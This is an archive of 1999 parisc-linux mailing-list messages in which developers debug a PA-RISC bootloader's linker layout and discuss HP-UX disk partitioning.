> >   > The next task is to figure out why the cross compiled version of ipl is
> >   > broken, and how to fix it.
> > It could well be an endianness problem in the ELF tools if that's what you
> > are using to build stuff.
> 
> While there could be an endianness problem, I think it more likely that
> it is how IPL is being linked and extracted into the LIF image.  

I think you're right.  I'm sure now that the byte order isn't a problem,
because my header and Jason's IPL work fine.

> Jason's
> link options, "-R 0 -N", specified a text origin of 0 and data following
> the text.  I think the default for ELF is to place the text at 0x1000 and
> data at 0x40000000.  The gnu ld equivalent for "-R 0" would appear to
> be "-Ttext 0".  I am not sure there is a direct equivalent for "-N".
> Maybe, you could use "-Tdata" to set the data location.  Maps might be
> useful to sort out what is going on.  

Definitely.  This should be the next step in sorting this out.

> Also, the SOM and ELF headers at the
> beginning of each binary may differ in size.  When I tried "-Ttext 0",
> the size of the ELF header seemed to change in size.  I think there
> is info in the header about its size, etc.

I was thinking that object formats wouldn't really matter in the end; in
the end we're doing straight binary with no loading information.

- Alex


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 10:42:46 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <199906111742.KAA16333@milano.cup.hp.com>
References: <3760AA7F.9B62952E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619632 11986 80.91.229.3 (22 Nov 2014 01:27:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Fri Jun 11 11:43:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA02108
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 11:43:00 -0600
Original-Received: (qmail 26854 invoked by uid 15267); 11 Jun 1999 17:42:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26838 invoked from network); 11 Jun 1999 17:42:23 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 17:42:23 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA27604;
	Fri, 11 Jun 1999 13:42:33 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA16333; Fri, 11 Jun 1999 10:42:46 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 11 Jun 1999 02:19:43 PDT."
             <3760AA7F.9B62952E@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9516

Alex deVries wrote:
> 
> Can anyone here describe how HPUX does partitioning?  We're going to
> have to look at this at some point for interoperability with HPUX
> filesystems.

Besides LVM (with JxFS), HP-UX also supports "Hard Partitioning".
The partition information is encoded in both the kernel and /etc/disktab.
As the note in /etc/disktab says, it's use is strongly discouraged.
The driver behavior is similar to "Soft Partitioning" used on PC's
except that the information is hard coded in an OS table instead
of reading it off reserved sectors on the disk.

Having once supported HP-UX SCSI disk drivers, I can only second the
reccomendation already made to only support "whole disk" file systems.
The whole hard partioning thing was a mess. Eventually, if someone
really needs to partition a disk, some support for LVM could be added
(and hopefully with a better user interface).

grant

ps. "man -k sds" on my 10.20 box reports "sds: nothing appropriate".
I tried it on several in-house timeshare machines and got the same result.
I think this was pre-LVM mirroring/striping support. LVM was pushed
heavily around the 10.X introduction 3 to 4 years ago to replace
the older mirroring/striping. 


> - Alex
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Enterprise Systems Technology Lab
+1.408.447.7253


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 14:07:06 -0400
Organization: The Puffin Group
Lines: 21
Approved: news@gmane.org
Message-ID: <3761504A.BF1480CA@thepuffingroup.com>
References: <199906111742.KAA16333@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619632 11987 80.91.229.3 (22 Nov 2014 01:27:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 12:05:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA02389
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 12:05:26 -0600
Original-Received: (qmail 31527 invoked by uid 15267); 11 Jun 1999 18:04:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31520 invoked from network); 11 Jun 1999 18:04:50 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 18:04:50 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id OAA22606;
	Fri, 11 Jun 1999 14:07:11 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9517

Grant Grundler wrote:

> Having once supported HP-UX SCSI disk drivers, I can only second the
> reccomendation already made to only support "whole disk" file systems.
> The whole hard partioning thing was a mess. Eventually, if someone
> really needs to partition a disk, some support for LVM could be added
> (and hopefully with a better user interface).

Most Linux distributions really expect some sort of partitioning, so
it's easier to just inherit an existing one. 

Usually there's a native partitioning format to follow, but by not
having one we're forced to choose one.  The obvious one is DOS, because
it's been done many times over.  I'd be happier doing something a little
more sane like SGI though.

Oh, and at some point we'll do LVM, but that'll mean merging it in with
the existing Linux LVM tools.

- Alex


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 11:00:37 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <199906111800.LAA27009@bart.allegro.com>
References: <004901beb41a$44148f20$e38f4b0f@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619633 11989 80.91.229.3 (22 Nov 2014 01:27:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:13 +0000 (UTC)
Cc: steve@osiris.silug.org, parisc-linux@thepuffingroup.com
To: rrauenza@cup.hp.com (Rich Rauenzahn)
Original-X-From: sieler@bart.allegro.com  Fri Jun 11 12:08:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA02519
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 12:08:16 -0600
Original-Received: (qmail 31964 invoked by uid 15267); 11 Jun 1999 18:07:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31957 invoked from network); 11 Jun 1999 18:07:40 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 18:07:40 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id LAA27009;
	Fri, 11 Jun 1999 11:00:38 -0700
In-Reply-To: <004901beb41a$44148f20$e38f4b0f@cup.hp.com> from "Rich Rauenzahn" at Jun 11, 99 07:54:11 am
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9518

Re:
 
> Yes -- I agree.  Most who use LVM will be using VxFS, so just onlu
> supporting whole disk HFS for now is probably the best.

Is that supported by surveys/counts?  
On HP-UX, we use LVM with HFS, but never VxFS,
because the partition changing tools are free with LVM but are  
separate charged products for VxFS.

Additionally, check the bug reports...VxFS is fraught with problems
compare to HFS.  So, at this point, with problems and cost, we're 
staying on HFS.   The majority of customers we deal with are also
on HFS, for the same reasons.
 
> > As I understand it, HP-UX doesn't really do partitioning.  You have a

It used to, but that was dropped (as of 11.0?).

> > would probably be easiest then to just try to support HFS (HP's
> > version of UFS, I think) using a whole disk.

-- 
Stan Sieler                                          sieler@allegro.com
                                     http://www.allegro.com/sieler.html


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 11:10:32 PDT
Lines: 34
Approved: news@gmane.org
Message-ID: <199906111810.LAA14342@chrome.rose.hp.com>
References: <37614530.35570847@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619633 11991 80.91.229.3 (22 Nov 2014 01:27:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:13 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, law@cygnus.com, parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: kirkb@chrome.rose.hp.com  Fri Jun 11 12:09:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA02647
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 12:09:50 -0600
Original-Received: (qmail 32375 invoked by uid 15267); 11 Jun 1999 18:09:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32364 invoked from network); 11 Jun 1999 18:09:14 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 18:09:14 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA20992;
	Fri, 11 Jun 1999 11:09:40 -0700 (PDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id LAA14342; Fri, 11 Jun 1999 11:10:32 -0700 (PDT)
In-Reply-To: <37614530.35570847@thepuffingroup.com>; from "Alex deVries" at Jun 11, 99 1:19 pm
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:9519

Here's the offending code segment:

# adb Image-19990611-1

0x2000,10?i
2000:           LDO             -4(r31),r31
                LDIL            L%0x40008000,r1
                BE              1792(sr4,r1)      ; 0x40008000 + 1792 = 0x40008700 
                                                  ; this is the evil branch past
                                                  ; the end of memory identified
						  ; in the PIM dump
                OR              r31,r0,r2
                LDO             -4(r31),r31
                LDIL            L%0x2000,r1
                BE              228(sr4,r1)
                OR              r31,r0,r2
                LDO             -4(r31),r31
                LDIL            L%0x2000,r1
                BE              316(sr4,r1)
                OR              r31,r0,r2
                LDO             -4(r31),r31
                LDIL            L%0x2000,r1
                BE,N            1528(sr4,r1)
                LDO             -4(r31),r31
$q

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 785-5677		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 11:49:30 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <199906111849.LAA29341@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619633 11993 80.91.229.3 (22 Nov 2014 01:27:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com
Original-X-From: jason@gatekeeper.equator.com  Fri Jun 11 12:49:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA02843
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 12:49:33 -0600
Original-Received: (qmail 6878 invoked by uid 15267); 11 Jun 1999 18:48:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6865 invoked from network); 11 Jun 1999 18:48:57 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 18:48:57 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id LAA29341;
	Fri, 11 Jun 1999 11:49:30 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9520


> I think you're right.  I'm sure now that the byte order isn't a problem,
> because my header and Jason's IPL work fine.
>
> > Jason's
> > link options, "-R 0 -N", specified a text origin of 0 and data following
> > the text.  I think the default for ELF is to place the text at 0x1000 and
> > data at 0x40000000.  The gnu ld equivalent for "-R 0" would appear to
> > be "-Ttext 0".  I am not sure there is a direct equivalent for "-N".
> > Maybe, you could use "-Tdata" to set the data location.  Maps might be
> > useful to sort out what is going on.  
>
> Definitely.  This should be the next step in sorting this out.
>

  The bootstrap definately will not work with default data at 0x40000000.
  The HPMC that is occurring is undoubtedly because the data section is there.


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 15:37:20 -0400
Organization: The Puffin Group
Lines: 24
Approved: news@gmane.org
Message-ID: <37616570.19DC3853@thepuffingroup.com>
References: <199906111849.LAA29341@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619634 12000 80.91.229.3 (22 Nov 2014 01:27:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jason Eckhardt <jason@equator.com>
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 13:30:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA03085
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 13:30:09 -0600
Original-Received: (qmail 14373 invoked by uid 15267); 11 Jun 1999 19:29:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14366 invoked from network); 11 Jun 1999 19:29:33 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 19:29:33 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA22701;
	Fri, 11 Jun 1999 15:37:22 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9521

Jason Eckhardt wrote:
> 
> > I think you're right.  I'm sure now that the byte order isn't a problem,
> > because my header and Jason's IPL work fine.
> >
> > > Jason's
> > > link options, "-R 0 -N", specified a text origin of 0 and data following
> > > the text.  I think the default for ELF is to place the text at 0x1000 and
> > > data at 0x40000000.  The gnu ld equivalent for "-R 0" would appear to
> > > be "-Ttext 0".  I am not sure there is a direct equivalent for "-N".
> > > Maybe, you could use "-Tdata" to set the data location.  Maps might be
> > > useful to sort out what is going on.
> >
> > Definitely.  This should be the next step in sorting this out.
> >
> 
>   The bootstrap definately will not work with default data at 0x40000000.
>   The HPMC that is occurring is undoubtedly because the data section is there.

Okay, this is the same conclusion I came to.  Where should I put both
the data and text sengments?

- Alex


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 22:48:40 +0100 (BST)
Lines: 12
Approved: news@gmane.org
Message-ID: <E10sZAH-0003bn-00@the-village.bc.nu>
References: <3761504A.BF1480CA@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619634 12001 80.91.229.3 (22 Nov 2014 01:27:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:14 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri Jun 11 15:50:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA03307
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 15:50:15 -0600
Original-Received: (qmail 5827 invoked by uid 15267); 11 Jun 1999 21:49:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5683 invoked from network); 11 Jun 1999 21:49:30 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 21:49:30 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10sZAH-0003bn-00; Fri, 11 Jun 1999 22:48:41 +0100
In-Reply-To: <3761504A.BF1480CA@thepuffingroup.com> from "Alex deVries" at Jun 11, 99 02:07:06 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9522

> Most Linux distributions really expect some sort of partitioning, so
> it's easier to just inherit an existing one. 

We get all the existing ones for free.

> Oh, and at some point we'll do LVM, but that'll mean merging it in with
> the existing Linux LVM tools.

It depends how smart the HP LVM is and if its documented enough. LVM is
just a variant on the raid striping problem so its not a lot of code to
support until you want to do clever stuff like live resizing


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 20:56:52 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <199906120056.UAA00587@hiauly1.hia.nrc.ca>
References: <37616570.19DC3853@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619634 12002 80.91.229.3 (22 Nov 2014 01:27:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:14 +0000 (UTC)
Cc: jason@equator.com, parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 11 18:56:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA03524
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 18:56:55 -0600
Original-Received: (qmail 9236 invoked by uid 15267); 12 Jun 1999 00:56:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9226 invoked from network); 12 Jun 1999 00:56:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 00:56:53 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id UAA00587;
	Fri, 11 Jun 1999 20:56:52 -0400 (EDT)
In-Reply-To: <37616570.19DC3853@thepuffingroup.com> from "Alex deVries" at Jun 11, 99 03:37:20 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9523

> Okay, this is the same conclusion I came to.  Where should I put both
> the data and text sengments?

Try this for the ld options: -Ttext 800 -N -s.

This links all sections in low virtual memory.  VMA and LMA for the
.text section are 0x800 (the size of the LIF header, 2048).  The file
offset to the .text section is 0xa0 bytes when -N is specified.  The
size of the LIF header should be 0x800 - 0xa0 = 0x760 (1888 bytes).
The -s option strips the symbols.

The result of the link can be inspected with the command:

hppa-parisc-objdump --headers ipl

Hope this works.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 21:25:47 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <199906120125.VAA09547@hiauly1.hia.nrc.ca>
References: <199906120056.UAA00587@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619635 12006 80.91.229.3 (22 Nov 2014 01:27:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:15 +0000 (UTC)
Cc: adevries@thepuffingroup.com, jason@equator.com,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 11 19:25:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA03695
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 19:25:50 -0600
Original-Received: (qmail 11267 invoked by uid 15267); 12 Jun 1999 01:25:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11253 invoked from network); 12 Jun 1999 01:25:47 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 01:25:47 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id VAA09547;
	Fri, 11 Jun 1999 21:25:47 -0400 (EDT)
In-Reply-To: <199906120056.UAA00587@hiauly1.hia.nrc.ca> from "John David Anglin" at Jun 11, 99 08:56:52 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9524

> 
> > Okay, this is the same conclusion I came to.  Where should I put both
> > the data and text sengments?
> 
> Try this for the ld options: -Ttext 800 -N -s.
> 
> This links all sections in low virtual memory.  VMA and LMA for the
> .text section are 0x800 (the size of the LIF header, 2048).  The file
> offset to the .text section is 0xa0 bytes when -N is specified.  The
> size of the LIF header should be 0x800 - 0xa0 = 0x760 (1888 bytes).

This last part may be unclear.  What you need to arrange is that
the offset to the .text section in the binary image is 0x800 bytes.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 23:23:50 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <199906120323.XAA29685@hiauly1.hia.nrc.ca>
References: <199906120056.UAA00587@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619635 12008 80.91.229.3 (22 Nov 2014 01:27:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:15 +0000 (UTC)
Cc: adevries@thepuffingroup.com, jason@equator.com,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 11 21:23:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA04163
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 21:23:53 -0600
Original-Received: (qmail 22077 invoked by uid 15267); 12 Jun 1999 03:23:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22067 invoked from network); 12 Jun 1999 03:23:50 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 03:23:50 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id XAA29685;
	Fri, 11 Jun 1999 23:23:50 -0400 (EDT)
In-Reply-To: <199906120056.UAA00587@hiauly1.hia.nrc.ca> from "John David Anglin" at Jun 11, 99 08:56:52 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9525

> 
> > Okay, this is the same conclusion I came to.  Where should I put both
> > the data and text sengments?
> 
> Try this for the ld options: -Ttext 800 -N -s.

On further inspection of the generated ipl file, it appears that a
more complex script is needed to extract the section data.  Here
is the header dump of IPL created with the above link options:

ipl.N800:     file format elf32-hppa

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         00001b90  00000800  00000800  000000a0  2**4
                  CONTENTS, ALLOC, LOAD, CODE
  1 .data         000064a8  00003000  00003000  000028a0  2**12
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          0000115c  0000f950  0000f950  00008d48  2**3
                  ALLOC
  3 .PARISC.unwind 000000c0  00010aac  00010aac  00009a50  2**0
                  CONTENTS
  4 .PARISC.symext 00000000  00010b6c  00010b6c  00009b10  2**2
                  CONTENTS
  5 $CODE$        00000d08  00010ba0  00010ba0  00008d48  2**3
                  CONTENTS, ALLOC, LOAD, CODE

The file offset for the .data section is ok.  However, the .bss
section must be created in the LIF image.  The $CODE$ section
is next in the file and it must be loaded at 10ba0 in the LIF
image.  Finally, the .PARISC.unwind and .PARISC.symext must be
loaded to the correct locations in the LIF image.

It might be possible with a ld script to better arrange the sections
and improve their placement in the linked file.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
